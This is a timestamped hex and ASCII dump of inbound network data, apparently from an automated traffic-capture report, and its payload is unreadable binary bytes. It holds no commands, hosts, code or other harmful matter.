d7 b6 de b5 80 a6 24 c2 9b f7 f5 2e 79 ed 8b ed 52 58 52 2e ae 2e 17 3f 07 5d 50 5c 2e 57 8f ef 26 bf bc 7b a4 78 9a 3a 
57 1f 50 a7 ac fa a5 1a 23 bb 85 6f 17 73 8d ae 2e 2e 5a 87 f1 37 21 a0 d5 89 f0 96 2f 5b 26 1f 7d f4 91 9c 38 71 dc f6 8c 
73 fe fc 97 bf 4a e7 ce 9d e5 d0 c1 43 f2 fc f3 cf 49 6a 6a aa 0c 1b 36 4c ee be e7 5e 63 7c 02 6d ef aa 16 e1 6d d9 b2 59 
ee b9 e7 3e 8a f0 2e 82 0f 3f fc 50 be f8 fc 33 89 8e 6e 2f 4f 3e f9 a4 f8 fa f9 d9 5e 71 ce 5b 6f be 29 f3 e7 7f 61 ca a8 8b 
fc ee f7 bf 6f d0 c5 78 d2 78 1c 3c 78 50 de 
Data Ascii: !B!pw;F n7oeRQY%8N8z~NyuCs$.yRXR..?]P\.W&{x:WP#os..Z7!/[&}8qsJCIjj6L^c|mmY>.?P3n/O>^q[o)
aoxx<xP

2022-05-27 06:46:25 UTC 691 IN Data Raw: d3 f6 29 42 2e 0c ea d1 97 ab 0e 99 fa ba 4c 7e fb d2 4a f9 72 e5 21 39 92 9a a3 11 f1 42 03 bd 25 c4 1c be 5e 
ee 72 28 39 5b 56 6f 4f 91 cd 7b 4f d8 3e 49 2e 07 59 b9 c5 32 7f c5 41 79 f2 85 e5 f2 e8 d3 0b e4 f3 15 07 6c af b4 6c 9a 
9c 08 0f a2 8b 19 33 67 c9 3d f7 dc eb f4 08 0f 0f b7 bd 53 64 dc b8 71 72 cb 2d b7 4a bf fe fd 6b bd 58 45 08 21 19 19 19 
b2 6b d7 2e c9 c9 69 fc 05 cf a6 44 78 78 84 dc 76 fb ed e7 da da 7b ef 93 7b ef bb 5f 05 01 88 d6 b1 6c d9 52 79 e5 e5 
97 25 39 25 d9 f6 c9 c6 03 0b d7 88 80 37 6d da 34 4d 49 4b c8 e5 a0 a4 a4 44 0e 1d 3a 28 5b b6 6c 91 13 27 4e 48 59 
99 f3 28 92 2d 1d 08 7c 10 f9 cb d1 66 dc 7d f7 3d 72 e5 55 33 f4 75 08 e7 36 6c 58 6f fb c4 c5 01 81 14 04 90 88 84 19 
78 19 a2 44 91 96 0d 22 38 42 08 95 98 90 a0 62 28 
Data Ascii: )B.L~Jr!9B%^r(9[VoO{O>I.Y2Ayll3g=Sdqr-JkXE!k.iDxxv{{_lRy%9%7m4MIKD:([l'NHY(-|f}=rU3u6lXoxD"8Bb(

2022-05-27 06:46:25 UTC 693 IN Data Raw: c5 25 ba b8 b8 79 f3 46 53 cf 52 a4 ac bc 5c 7c bc bd a5 4b d7 ae 32 64 c8 50 e9 dd bb b7 be 6f cf ee dd f2 c9 
27 9f 68 14 54 44 fd 80 40 d0 91 c4 c4 44 d9 b4 69 a3 46 91 c9 ca ce 16 77 73 9d 88 a0 37 61 e2 24 4d f9 b5 6c e9 12 63 
cf 5d e4 86 1b 6f 94 8e a6 4e 58 7c 6c 7e d3 c6 8d 1b 64 e2 84 49 32 6a f4 28 d9 b4 71 a3 f9 0d eb 24 2d 3d 5d 7f 37 6c 
d2 90 a1 c3 64 e0 c0 81 67 f5 2f 2d 91 85 0b 16 98 fb f1 91 69 17 59 e6 de f7 91 9b 6e ba 49 ba d6 a2 1f de 6b da 27 a2 
42 1d 3e 7c 58 45 04 15 e6 be a1 8d b6 6f df 5e 06 0f 1a 22 03 07 0d 54 b1 01 78 e3 f5 d7 f5 bd e5 15 15 9a 42 11 91 6c 
9d d5 3d 94 f7 9a d5 ab f4 5c 43 87 0e d5 94 6b f6 51 a1 60 6b d6 ae 5d 23 47 8f 1c 95 13 27 8e 0b 9c 18 d4 b7 78 53 5e 
f0 1d 26 38 49 cd b6 75 cb 56 79 63 de eb e2 62 ea 01 
Data Ascii: %yFSR\|K2dPo'hTD@DiFws7a$Mlc]oNX|l~dI2j(q$-=]7ldg/-iYnIk'B>|XEo^"TxBl=\CkQ`k]#G'xS^&8IuVycb

Timestamp
kBytes
transferred

Direction Data
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2022-05-27 06:46:25 UTC 694 IN Data Raw: 6d a0 8c ed 1f 23 13 87 c4 8b bf cf d9 73 18 0f 9a df 89 48 5d e0 95 5f 5d 25 a9 e6 bb 3e fa 6e af ec 3e 7a 52 
ba c6 86 c8 af ef 1d ad 69 4e 2d 56 6c 4d 96 35 3b 52 64 fb c1 34 4d 91 0a 3a b7 0f 96 61 bd db c9 75 93 7a 88 8b 4b 0d 
37 b6 96 54 94 97 cb b1 d4 64 5d 1b 09 b4 cd 05 d6 07 cc e9 15 17 17 49 50 70 88 04 d4 f3 3c f3 be de 25 af 7e b1 5d fe 
fd f8 64 e9 d7 d5 b9 d6 a2 2e 8c bc 67 9e 4c 1e da 41 7e 79 f7 48 f1 74 3f 57 4f e2 48 ba 29 c7 5b 7e fd 85 1c b7 95 51 9f 
ce 11 f2 ec 4f a6 6a 0a da ba 82 7a bd 65 7f 9a 2c db 9c 28 87 53 b2 ab 05 a3 a6 ae e2 5c 3d e2 43 65 fc c0 58 19 d4 e3 
dc f9 eb b7 21 02 5c b4 47 ff be 77 76 7f 2d eb 25 1b 13 64 c5 b6 64 39 91 59 28 de 1e 6e d2 bf 5b a4 b6 95 f8 a8 40 c9 
c9 2f 91 a5 a6 ee 2e 37 df 93 9c 6e da b5 a9 87 1d 
Data Ascii: m#sH]_]%>n>zRiN-VlM5;Rd4M:auzK7Td]IPp<%~]d.gLA~yHt?WOH)[~QOjze,(S\=CeX!\Gwv-%dd9Y(n[@/.7n

2022-05-27 06:46:25 UTC 695 IN Data Raw: d0 f6 da ab af ea 82 3d ea 8a ab ab b1 6f c6 0e a1 8e a2 4f 8a 8d 89 3b 4b 4c 07 8a 8a 0a 75 13 c3 5b 6f be 
a5 e2 56 d8 22 88 ff 31 c8 80 d0 02 8f 91 ca 10 bf 1f e0 de bd 63 ee e9 a2 45 8b b4 3d b9 99 6b c6 bd c2 f5 21 b5 2a de 
df 0e fe 8e dd 42 fe 32 f3 db f1 9b 20 5a 46 1f 08 5f a7 d0 dc ef 14 53 3e d9 d9 39 5a 6e ad 41 84 87 ba 82 7a 87 94 f4 c3 
86 0e 93 b8 d8 38 d9 6c ea 2e ca 12 b6 3e c8 94 b5 33 56 2c 5f a6 76 0d 02 34 b4 83 84 a3 09 fa fc e0 c1 83 cf ea 5b 70 
9f 61 1b 51 0e 68 0f ea d7 18 1f 09 82 3c f8 50 f0 ad 21 94 74 dc 74 f0 dd e2 c5 fa 3a 84 ae 8e 63 17 d4 75 f4 71 10 a9 c7 
c6 c5 9e e5 f7 40 58 85 7a 87 31 0f fc 18 fb 3a 09 3f 0a 75 02 75 12 22 bf d5 a6 4e 96 db ea 24 fa c6 a4 a4 44 fd 4d 68 27 
8e a2 38 88 be 5e 36 f6 f6 db 6f bf d1 36 0c 1f 
Data Ascii: =oO;KLu[oV"1cE=k!*B2 ZF_S>9ZnAz8l.>3V,_v4[paQh<P!tt:cuq@Xz1:?uu"N$DMh'8^6o6

2022-05-27 06:46:25 UTC 697 IN Data Raw: 4b 46 8d 1a 73 ce 02 59 6b a3 21 45 78 5f 7f fd 95 2e 26 61 51 0a bb e8 bf f7 fd c7 64 e6 cc 99 1a 4d 6d dc f8 
09 52 58 54 a8 8b 8f 10 57 40 9c 67 2d 34 03 2c 80 a3 4c b1 58 91 9e 9e a1 13 da 8f fd f0 71 dd 59 3e 74 e8 30 5d 48 c5 
a2 12 16 ba f0 79 d8 df 3b ee bc 4b 6e bf e3 0e bd 0e 1f 6f 1f 9d b8 86 68 23 2a aa 9d 74 ea d4 a9 fa c4 86 9d 3b 77 c8 
c7 1f 7d a4 0b 46 83 06 0d 92 87 1f 79 54 ae bb ee 3a 8d 92 83 54 63 58 5c 80 08 ac 63 c7 ce ba 58 e1 b8 a8 d5 12 a9 
49 84 87 05 82 ea 85 a3 0c 5d 30 18 39 6a a4 dc 7b ff fd 72 cd 35 d7 c8 c8 91 a3 a4 b8 a4 44 27 fb b1 40 07 41 9b 15 1d 
0a 0b 3e 9f 7e fa 89 7e 6e ce 9c 6b 34 f2 03 04 36 33 67 ce d2 a8 0c 70 1e b0 70 68 39 11 cb 96 2d 95 0f de 7f 5f a3 54 
42 ac f3 93 9f fc 54 ae b8 e2 0a b9 fa 9a b9 5a 1f 0e 99 
Data Ascii: KFsYk!Ex_.&aQdMmRXTW@g-4,LXqY>t0]Hy;Knoh#*t;w}FyT:TcX\cXI]09j{r5D'@A>~~nk463gpph9-_TBTZ

2022-05-27 06:46:25 UTC 698 IN Data Raw: d8 bb 53 a7 ce 2a a0 b4 c0 c6 aa cd 9b b7 98 7a 18 a3 be 73 4b 6c d7 0d 29 c2 83 1f 85 4d 2c 10 b5 62 ec 82 
88 91 37 df 7c 8b ce 69 84 85 87 9d 9e 13 83 4d 80 10 cf ea 07 6a 12 e1 21 5a 26 fa 15 7c 2f e6 61 66 cd 9a 23 0f 3f f2 
88 fa 2f 98 cf c0 d8 09 3e 11 fa 17 ec 78 c7 78 ea 42 63 3f 42 08 21 84 10 42 08 21 97 97 8b 15 e1 bd f4 d9 56 89 08 f1 
95 31 fd db 9f 16 f8 20 82 d7 e2 8d 09 f2 93 5b 87 cb 88 be ed 4f 8b d6 76 1e ce 90 4d 7b 8e cb b7 6b 8f c8 92 4d 89 b2 
72 5b 8a e4 e4 97 4a d7 d8 60 f9 c9 7f 96 c8 37 e6 f9 31 fd 62 e4 df 3f 9a ea 34 e2 9c 33 3c dc 5c 35 b2 d5 92 4d 09 92 5f 
54 a6 51 c7 10 0d 6b cf 91 93 12 e8 ef 25 ed 23 aa a3 5e 9d 0f 7b 11 5e 46 4e 91 a4 a4 e5 4b b4 f9 cc f0 3e ed 25 3c d8 
c7 9c b3 5c cf 89 28 61 c5 65 15 d2 2d 36 44 7f af 05 
Data Ascii: S*zsKl)M,b7|iMj!Z&|/af#?/>xxBc?B!B!V1 [OvM{kMr[J`71b?43<\5M_TQk%#^{^FNK>%<\(ae-6D

2022-05-27 06:46:25 UTC 699 IN Data Raw: be 41 03 07 9d be 26 2c c2 23 05 33 7e 1f a2 f5 ed d8 b9 43 df 8b fa 9a 63 7c 8b 8f 3e fa 40 ef 1f 44 c0 d8 0c 
00 61 8d f5 59 08 1e 60 8f f0 9b 8a 8b 4b 34 fd 37 fa 38 88 18 6f ba f9 16 dd 70 62 bd 17 42 2c 08 fc b0 79 02 76 0b 51 8c 
00 52 37 e3 be 41 60 86 54 a0 d8 54 60 7d 06 75 1b e5 d0 d2 53 2a 9f 0f 88 6e fb f4 ed a7 3e de de 7d 7b 55 d0 66 0f ca 
18 91 32 d1 ff f5 ee dd 4b a3 8f 99 82 b4 bd 7a 2e e3 c6 8d d7 4d 20 d8 54 04 51 a3 75 9f e1 eb 40 d0 8d 0d 1e 88 e4 0d 
a1 72 63 61 d5 49 88 41 ad eb 41 3f 79 e3 8d 37 eb eb 10 b3 22 05 34 80 ff 0d bf 18 11 fd 60 03 e1 b7 4f 9a 34 f9 f4 e7 20 
de 82 e0 15 e9 7b 9d a5 2e cd ca cc d4 7b 18 dd be bd 8c 18 39 f2 ac ba 8c a8 83 10 31 3a 46 bc 6e c9 a0 8d 43 c4 63 
d9 4d f8 14 10 d4 bc fa ea 2b f2 c1 07 ef eb b8 06 
Data Ascii: A&,#3~Cc|>@DaY`K478opbB,yvQR7A`TT`}uS*n>}{Uf2Kz.M TQu@rcaIAA?y7"4`O4 {.{91:FnCcM+

2022-05-27 06:46:25 UTC 701 IN Data Raw: da 28 16 71 21 ce 41 54 28 44 5f 81 6d a8 2b 58 68 3a 7a e4 b0 20 7a d3 88 11 23 34 32 87 23 68 f7 88 32 71 
a1 a8 1c 58 30 46 44 33 47 31 41 ef 3e bd 55 dc 8b 7a 96 76 22 ed 9c 45 d2 d6 0e 22 3b a1 9d a1 7c 21 2a c2 c2 2c 22 
87 42 30 07 9b 69 d5 15 d8 f3 4a db bd 1b 3f 7e 82 2e fe a3 6e 40 9c 05 51 90 d5 cf a2 2e 61 81 1e f7 19 76 65 fc b8 09 
a7 fb 68 2c 1a 5a f6 02 df 89 05 45 c7 45 69 d8 23 a4 af b3 58 b5 6a 85 ed af 86 a7 b5 5a 15 94 15 22 b4 58 7e d9 bd f7 
dc 2d bf fa e5 cf 55 10 87 c8 2c 10 48 43 98 63 01 b1 c9 ce 1d db 35 52 16 04 07 10 94 38 d2 2e ba 9d e9 4f 62 34 3a 0f 
8e da 00 91 25 22 97 21 6a d9 d8 b1 e3 34 d2 9d 23 68 bf b0 0f 7b f7 ec 95 22 5b 9f 6f 0f a2 3d 42 d8 e2 18 0d 66 ed da 
d5 2a 94 e9 d8 b1 93 fa 89 ce 76 1a 22 85 29 ea df 96 2d 5b 
Data Ascii: (q!AT(D_m+Xh:z z#42#h2qX0FD3G1A>Uzv"E";|!*,"B0iJ?~.n@Q.aveh,ZEEi#XjZ"X~-U,HCc5R8.Ob4:%"!j4#h{"
[o=Bf*v")-[

2022-05-27 06:46:25 UTC 702 IN Data Raw: 80 68 39 88 04 80 54 9c a5 0e 51 9b 5a 33 58 88 39 5f 24 0d 88 03 20 6c c8 cb cb d5 85 20 d0 a3 67 0f e9 d7 
b7 af 96 ed 3b ef bc 2d 6f bc fe ba 2c 5c b8 50 85 58 58 a0 b4 27 29 31 49 17 ee 50 97 96 7c f7 9d d3 72 41 7a 5b 9c 0b 
d1 7d 9c 39 30 10 40 d4 c7 31 24 ce b1 16 52 23 22 ce a4 dc 43 74 0c dc 7b 74 8c ce ca 08 a9 29 d1 f6 ad 72 02 10 67 22 
1d 5d 9c 29 1f a4 b8 7a f6 bf ff d5 94 92 eb d6 ae ad b5 00 07 e4 64 e7 e8 62 21 84 76 48 7f 7d 3e bc bd bc 9d 8a 68 ec 
41 b4 1e 5c 97 33 20 fc c5 a2 1b a2 08 e1 77 90 33 40 dc 83 34 e1 88 72 fa e2 0b 2f c8 73 cf 3e 2b ff f8 c7 df e5 2f 7f fe 
93 a6 93 76 26 ae 84 78 17 e2 27 d8 07 2c 00 23 9a a1 55 b7 90 da 10 a9 64 51 a7 46 1b 3f 20 38 e4 cc 4e 16 44 6c b1 
da 39 16 82 1d 05 78 16 3d 7a f4 b2 fd 85 fa 79 c4 f6 17 
Data Ascii: h9TQZ3X9_$ l g;-o,\PXX')1IP|rAz[}90@1$R#"Ct{t)rg"])zdb!vH}>hA\3 w3@4r/s>+/v&x',#UdQF? 8NDl9x=zy

2022-05-27 06:46:25 UTC 703 IN Data Raw: 9d 58 60 ed d2 b9 8b 46 7e 99 35 7b 8e 8a a9 20 74 79 ed b5 57 55 14 f2 f5 d7 5f 9f 5e 14 ac 89 92 d2 52 29 
29 29 15 57 63 13 10 55 e8 62 80 50 ef 7c a2 2e e2 1c 44 4a 41 6a 77 94 db 82 05 df ea 02 3c ec 23 04 00 63 c7 8d d3 
45 78 2f 73 5f 9d 81 54 8d 96 70 03 91 80 2c a1 2e c4 58 58 8c 46 3f 3f 6e fc 04 b5 e7 ce f0 f5 a9 9d 1f 80 f4 68 a4 61 41 
db 47 da 71 f8 64 77 dc 71 a7 a6 e3 45 6a 3b 88 3f 20 bc 84 b8 cb be ef 46 34 b1 d2 d2 32 15 89 20 35 ea 39 36 c2 1c e8 
7b 91 62 15 02 7b 6f ef 33 bb 67 6a 02 e2 01 44 40 85 10 60 f5 ea d5 4e cf bb 63 c7 0e 15 df a3 ef 76 56 97 42 42 c2 c4 
c5 49 34 e4 22 73 fd b0 75 10 29 20 c2 9f b3 73 c3 4f c4 f5 9e af ff a9 6d 1d 05 f8 2e dd 0c 60 fe 76 73 bd b0 8f 81 36 82 
7b 8a a8 ce 10 87 39 bb be 0d 1b 36 68 7f 8a 7e d0 f2 
Data Ascii: X`F~5{ tyWU_^R)))WcUbP|.DJAjw<#cEx/s_Tp,.XXF??nhaAGqdwqEj;? F42 596{b{o3gjD@`NcvVBBI4"su) 
sOm.`vs6{96h~

2022-05-27 06:46:25 UTC 706 IN Data Raw: 4f 63 b3 50 df 2e 24 70 d8 b4 71 a3 ac 5d b3 56 ed 1b da c5 dd f7 dc 2b d7 5d 7f bd a6 02 1c 37 7e bc 8a 90 
6a eb 13 37 67 10 5d 0f d1 f0 ae 37 bf 1d fe c1 4d 37 df a4 91 65 21 3c 79 ff dd 77 e5 a0 4d e4 d8 da 80 6f 0a 5f 18 62 f4 
99 b3 66 a9 a0 78 cd ea 55 b2 7d 5b b5 58 0d c0 b6 c1 3e 41 24 85 36 ea ac 5d db 1f 88 a0 69 81 74 b4 48 af 8f 7a 8a cd 
2d 10 76 1d 38 b0 5f a3 11 a3 7e 23 7d 30 d2 05 d7 06 d8 25 d8 42 b4 89 47 8d 9f e6 ec bb ed 0f 7b bf 7b c8 b0 6a 5f 11 
ed 07 63 bb 0d 1b d6 6b 64 d2 11 a3 aa 53 ab 62 63 06 7c 01 44 5c 43 1a 5a f8 00 f0 05 f0 9c b3 14 c7 2d 95 d1 63 c6 68 
3f 8a f1 cf d6 ad 5b d4 17 41 7d 80 50 0b 36 07 69 c5 eb 0a ca 0d e5 3f 6c d8 70 a7 e5 64 7f 5c 33 77 ae ed 53 88 70 1e 
aa a9 50 11 45 f5 58 ea 31 dd 7c 83 34 b9 a8 af 28 13 
Data Ascii: OcP.$pq]V+]7~j7g]7M7e!<ywMo_bfxU}[X>A$6]itHz-v8_~#}0%BG{{j_ckdSbc|D\CZ-ch?[A}P6i?lpd\3wS
pPEX1|4(

Timestamp
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2022-05-27 06:46:25 UTC 707 IN Data Raw: 75 4f 65 6a d1 2e cc dc 47 9b 38 0f 29 71 ef 9a d9 57 ee 9b d3 ff bc c7 98 fe 31 97 fc 7e 36 16 a3 fa b5 97 9f 
dc 36 4c 7e 7b ff 18 99 30 28 4e bc bd aa 83 0b bc f8 e9 56 79 f5 8b ed 12 1a e8 2d 7f 78 68 ac fc fe c1 b1 fa 9e da 1c 57 
4f e8 2a f6 e9 59 6b 02 e5 89 ef 00 10 6f fe eb dd 8d f2 dd c6 9a d7 92 ed 81 08 14 f5 00 40 3c b8 eb 70 75 b6 07 47 32 
73 8b 25 39 ad 5a 14 1a e2 ef a5 75 b5 25 10 1d 11 70 5a c4 d8 36 d4 4f 05 6f ce ea 2c 0e 08 f1 46 f4 8d ae 7e 73 23 12 
64 ee 77 f7 f8 50 99 31 ba b3 3c 79 f7 68 b9 73 46 5f 89 34 ed 0c d1 08 d7 ee 48 3d 6f 6a e0 a6 48 ab 9b 2d 1d 3e 62 84 
4e 3a 22 4d d9 ae dd bb 74 92 9b 5c 7a 06 0f 1e a2 ff 62 02 f8 b3 cf 3e d5 bf 1d c1 82 01 52 d9 a1 4c 30 39 0c 51 cf a5 
06 3b fe 23 db b6 d5 05 a2 9d 3b ab 17 a9 48 e3 81 
Data Ascii: uOej.G8)qW1~66L~{0(NVy-xhWO*Yko@<puG2s%9Zu%pZ6Oo,F~s#dwP1<yhsF_4H=ojH->bN:"Mt\
zb>RL09Q;#;H

2022-05-27 06:46:25 UTC 709 IN Data Raw: 44 9a a4 09 13 27 aa 0d fd db d3 4f cb 97 5f ce b7 bd 52 0d 1c 5d 44 d1 fb e7 3f fe 6e 7b c6 74 ae 05 05 f2 ee 
3b ef c8 86 f5 eb 6d cf 54 93 91 91 a1 29 4e b1 10 09 e1 0e c4 b1 35 11 d5 36 4a 7a f7 ea 2d c1 c1 21 e6 73 ab 54 c0 7b 
e2 c4 09 db ab a6 dd 6e df 26 6f bc fe 9a 2e fc 36 86 2d 69 49 20 02 ca cb a6 ec 7f f3 eb 5f 9f 73 fc fb df ff d2 48 72 d1 d1 
ed 4f 47 e8 f8 ec b3 4f b4 4c 17 2e 58 20 f3 e6 bd 21 af be f2 8a 0a 2c 1c 85 74 f6 a0 0d 0e 1a 34 58 db f8 c1 83 07 f4 3b 
51 8f c6 8e 1b 7b d6 22 bd 05 fa 10 d4 35 94 25 de f7 c6 eb af eb f5 cc 7b e3 0d ed 3b fe 6d fa f3 df ff ee b7 a7 05 bb 78 
2f 04 00 16 10 3a 21 a5 1e 40 4a bc b7 df 7a 53 9e fd ef 7f f4 f3 ff f7 fc f3 9a 0e 1b ef 39 1f 10 89 22 dd 9a c5 c6 0d 1b e4 
bf ff f9 8f bc f4 e2 0b f2 d1 87 1f 
Data Ascii: D'O_R]D?n{t;mT)N56Jz-!sT{n&o.6-iI _sHrOGOL.X !,t4X;Q{"5%{;mx/:!@JzS9"

2022-05-27 06:46:25 UTC 710 IN Data Raw: 88 3a ea 2b 82 40 6a 55 2c 34 7f f8 c1 07 72 ff 7d f7 ca cf 7f f6 33 15 f3 b4 26 0e 1d 3a 28 77 dc 7e 9b 5c 77 
ed dc d3 c7 ef 7f fb 5b bd 0f 87 0e 1f d2 c5 a2 5b 6e bd 55 1e ff d1 8f 9d 0a 94 50 4e 37 dc 70 93 46 ba c4 a2 e1 db 6f bd 
a5 e7 40 19 59 f6 f4 b5 d7 5f d3 e8 4e 16 58 a8 45 b9 fd f3 9f ff d0 72 fc e1 63 8f c9 e3 3f fc a1 fc f8 47 8f cb fa 75 eb a4 
73 97 2e 32 65 ea 14 09 08 f0 b7 7d e2 fc 20 12 df 55 33 66 68 7a 35 88 39 7f f4 f8 0f b5 ed 3e fc d0 83 f2 8f bf ff 5d af 79 
dc b8 f1 12 11 11 69 fb 04 a9 0d 58 b8 85 78 11 91 79 1c 8f a3 47 8e e8 e2 eb c8 11 23 55 b0 03 e1 0e 16 fa 10 35 f1 e5 
97 5f 92 05 df 7e 2b dd bb 77 97 d1 a6 6c 2e 94 46 6b e4 a8 51 a6 3f f0 d1 be 16 07 ca 6b f8 f0 91 4e 17 9e 51 d7 ee bf ff 
01 99 39 6b 96 2e 02 c3 4e 20 ba 0f 
Data Ascii: :+@jU,4r}3&:(w~\w[[nUPN7pFo@Y_NXErc?Gus.2e} U3fhz59>]yiXxyG#U5_~+wl.FkQ?kNQ9k.N 

2022-05-27 06:46:25 UTC 711 IN Data Raw: c9 5d dd 22 d9 59 59 a6 a1 95 4b 4c 6c 9c f4 ed d7 cf a9 38 c2 1e 2c a2 43 14 15 df 21 5e 27 ff d1 80 ed c1 73 
58 58 0a 0e 0e d2 32 c6 f9 20 a8 40 99 23 dd e0 6d b7 dd 21 d1 d1 e7 e6 98 c6 ce 6e 44 ca 0a 0d 0d d1 f7 42 74 63 0f 5e 
cf 33 75 08 69 73 ba 75 eb ae 0b d3 8e 60 e7 7f b1 a9 63 f1 71 f1 d2 b1 53 c7 d3 bb c0 3d 3c dc a5 47 8f 1e ba e8 1a 1e 
16 ae 0b 62 88 f8 85 fa 80 28 14 c3 86 0f 97 b9 d7 5e a7 11 21 ec eb 58 4b 06 02 95 bc fc 3c 53 36 fe 82 88 0a f6 65 92 
97 9b ab e9 1b e3 e2 cd 7d 34 f7 c4 d9 6e 7a a4 27 42 ba 4a 44 51 81 a8 0a 62 1c 3f 73 20 6a 11 da 15 22 ed 78 7a 7a 
49 fb f6 d1 ba 00 77 c3 8d 37 69 aa 68 fb 73 a1 0c 90 0a 0b e7 08 0d 09 35 ed d4 ef 74 3b 45 2a c2 51 a3 46 c9 4d 37 dd 
ac e7 b4 af 67 88 36 e3 ed e3 ad 11 37 b0 30 e4 58 07 2d 
Data Ascii: ]"YYKLl8,C!^'sXX2 @#m!nDBtc^3uisu`cqS=<Gb(^!XK<S6e}4nz'BJDQb?s j"xzzIw7ihs5t;E*QFM7g670X-

2022-05-27 06:46:25 UTC 713 IN Data Raw: 7e 51 99 64 e5 95 d4 eb 78 7f d1 5e e9 d9 21 5c c6 0d 8c 39 67 5e a7 26 dc 5d 5d a4 6b 5c 88 46 48 83 68 26 
b6 6d a0 44 04 fb 48 9c f9 b7 a3 79 6e 40 b7 48 99 34 34 5e ee 9c d1 57 6e 9c da 53 d3 97 da 73 32 a7 58 0a 8b cb f5 fd 
43 7a b5 d3 94 a0 8e a4 66 54 6f 60 c3 7b 46 f7 6f 7f 5a 04 d6 36 d4 4f a3 6e b5 0b f7 d3 14 b7 51 61 78 1c 2a d3 47 76 
92 87 e6 0e d4 28 78 65 e5 95 fa be 3e 9d 23 a4 6f 97 08 f1 f2 a8 5e 93 3a 90 94 29 61 81 d5 d7 39 75 78 07 4d b9 ea 0c 
3f 1f 0f b9 c2 9c 0f ef c3 ef 0a f4 ab 4e 9b 89 c7 f8 dd c3 7b 47 cb 9c 71 5d 65 ce d8 ae e2 eb 7d 71 63 71 cc 4b 60 3e 19 
73 36 f6 73 c9 75 a5 a2 bc 5c f5 1e ba 2e 7e 11 e7 b1 38 94 92 2d 1d da 05 ca c3 d7 0e 94 88 90 9a 03 72 5c 0a 50 b7 ae 
9f d2 43 45 75 d1 11 01 12 6d ca 19 a2 4e 94 01 22 d8 
Data Ascii: ~Qdx^!\9g^&]]k\FHh&mDHyn@H44^WnSs2XCzfTo`{FoZ6OnQax*Gv(xe>#o^:)a9uxM?N{Gq]e}qcqK`>s6su\.
~8-r\PCEumN"

2022-05-27 06:46:25 UTC 714 IN Data Raw: 21 84 10 d2 32 60 24 3c 62 c1 48 78 84 34 2c 8c 84 47 08 21 84 5c 00 2c 36 a1 93 c4 81 68 6a 38 ac c7 5c 88 
6a 5a 58 65 65 5f 46 84 10 42 9a 26 ce fa 57 cb 7e b3 7f 25 84 90 a6 81 65 a3 69 97 09 21 84 10 42 08 21 84 10 42 08 69 
1a 70 05 9c 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 e4 32 72 7a 9f 15 73 19 b6 7a 4e d9 2a 41 1b f3 
df 45 c1 bd 7b 84 9c ce f8 83 cd ac 97 ba 49 30 1d 2d 21 84 10 d2 4a d9 b2 3f 5d 0f 72 f1 0c ee 11 29 fd bb 84 db 1e 11 
42 08 21 84 10 42 08 21 84 10 42 08 21 84 d4 8d a2 c2 42 29 2d 2d 91 c0 a0 60 f1 f3 0f 60 56 a1 56 0a 04 43 85 85 05 92 
9d 79 52 3c 3c 3c c5 d7 cf cf f6 4a dd 29 2d 29 d1 74 b4 3e 3e be 12 60 ea 95 9b 9b 9b ed 15 42 5a 0f 25 a6 1d 9c 4c 3f 
61 6c aa ab f8 07 04 5c d2 cc 12 14 e1 11 42 08 21 ad 94 97 
Data Ascii: !2`$<bHx4,G!\,6hj8\jZXee_FB&W~%ei!B!BipB!B!B!B!2rzszN*AE{I0-!J?]r)B!B!B!B)--``VVCyR<<<J)-)t>>`BZ%L?
al\B!

2022-05-27 06:46:25 UTC 716 IN Data Raw: 42 9a 30 9f 7f 3e 5f be f9 66 c1 05 8f 36 6d da d8 3e 41 08 21 84 10 42 08 69 4c 9a 6c 3a da 0d 1b 37 48 46 
46 86 ed 51 f3 c0 cd d5 4d a6 4d 9b 66 7b d4 ba f8 76 c1 b7 0d 16 8d ca a5 8d 8b b4 6f df 5e fa f4 e9 63 7b 86 34 26 09 
b9 e5 b2 21 b5 48 3a 05 7b c8 a0 28 6f db b3 8d c7 b7 87 0b 24 af b4 52 ae e8 ec 2f fe 1e 2d 4f 27 7c e8 d0 21 d9 7f 60 bf 
ed 51 d3 e7 8a e9 57 e8 ee c9 a6 c8 bc 79 f3 34 25 ed 83 0f 3e 24 37 de 78 93 ed d9 8b e7 de 7b ef d6 72 7a f1 85 17 25 
2e 2e ce f6 2c 21 a4 36 30 1d 2d 21 84 10 42 9a 2b cd 21 1d 6d 4a 4a 8a 14 17 97 d8 1e 35 6d 5c 5d 5d a4 63 c7 8e b6 
47 84 38 e7 f8 f1 e3 52 59 55 65 7b d4 b4 f0 f5 f1 91 e0 e0 60 db 23 72 b1 14 14 16 4a 4e 4e 8e ed 51 d3 a3 5d 54 54 93 
9d ff 6a 4d 94 6c 78 cd fc 7f d3 58 ae 72 8b 1f 29 6e 11 
Data Ascii: B0>_f6m>A!BiLl:7HFFQMMf{vo^c{4&!H:{(o$R/-O'|!`QWy4%>$7x{rz%..,!60-!B+!mJJ5m\]]cG8RYUe{`#
rJNNQ]TTjMlxXr)n

2022-05-27 06:46:25 UTC 717 IN Data Raw: d4 95 35 55 37 be fa f2 0b 7a fa a9 a7 28 20 20 40 5b 22 08 82 20 08 82 20 08 b5 0b f1 84 57 02 e2 09 af 74 
54 a4 27 3c 1b 1b 1b fa ef bf b5 bc 2c 23 23 83 fe fa 6b 19 fd fe fb 42 f6 c6 75 d3 b8 71 74 c7 1d 77 56 5b cf 5c b5 05 34 
0a 37 52 0a 77 a3 cf 5f 99 88 27 bc da cb bb ef bc 43 27 4e 1c d7 7e 19 c0 fb c1 d5 d5 8d 3a 76 ec 48 b3 66 cf e6 f6 ad 
ba b1 f8 cf 3f 69 c7 8e ed 2c 7a 1e 30 70 a0 b6 54 10 ca 47 4d f7 84 87 76 0f 42 5c 7c cb 98 99 99 69 4b 05 41 10 04 41 
a8 0b d4 05 4f 78 b0 59 e1 7b a7 a2 98 39 73 a6 f6 af 6b d4 04 4f 78 c7 8f 9f a0 d4 b4 34 ed 57 ed c2 c9 c9 91 7c db b6 
d5 7e 55 7f c4 13 5e dd 41 3c e1 09 a5 41 3c e1 5d a3 a2 c2 d1 96 87 ce 9d 3a d3 87 1f 7e a8 fd 2a 99 93 27 4f d2 92 25 
8b e9 ec 99 33 34 63 c6 4c 9a 78 f3 cd 5c af 4c f1 d9 
Data Ascii: 5U7z(  @["  WtT'<,##kBuqtwV[\47Rw_'C'N~:vHf?i,z0pTGMvB\|iKAAOxY{9skOx4W|~U^A<A<]:~*'O%34cLx\L

